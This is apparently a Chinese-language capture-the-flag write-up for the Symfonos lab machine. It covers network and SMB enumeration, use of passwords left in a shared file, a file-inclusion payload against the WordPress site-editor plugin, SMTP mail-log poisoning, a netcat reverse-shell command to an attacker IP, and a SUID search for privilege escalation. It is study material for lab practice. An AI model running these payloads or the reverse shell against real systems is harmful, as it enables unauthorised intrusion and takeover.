Symfonos靶场打靶记录

0x01 信息收集阶段

1.arp-scan -l 扫描主机【IP以实际IP为准】

2.nmap扫描端口，发现smtp,http，samba服务开放

登录web

3.-L：显示服务器端所分享出来的所有资源；发现共享文件helios和anonymous

0x02 渗透测试阶段

4.指定anonymous用户以guest身份登录

ls发现存在attention.txt文件，get下载文件 查看attention.txt发现三个疑似密码epliioko qwerty baseball

5.指定helios用户登录

发现存在research.txt和todo.txt文件，下载到本地

6.查看todo.txt，发现疑似url路径

7.尝试登录url路径

修改/etc/hosts文件，添加一行解析

发现可以正常访问

8.wpscan工具扫描

因为工具需要联网，场景中不能使用。直接给出结果，扫描到存在site-editor插件，版本1.1.1

wpscan --url http://symfonos.local/h3l105/ --enumeratep,t,tt,cb,dbe,u,m

9、site-editor存在文件包含漏洞，输入payload

http://<host>/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

10.通过telnet连接smtp25端口，发送php文件。

11.测试是否发送成功

http://<host>/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?=/var/mail/helios&c=id

12.反弹shell

&c=nc -e /bin/bash 10.10.210.199 7777

13.攻击机监听获得shell

0x02 提权阶段

14.查找suid文件

find / -perm -u=s 2>/dev/null

15.提权

16.寻找flag文件

原文始发于微信公众号（狐狸说安全）：Symfonos靶场打靶记录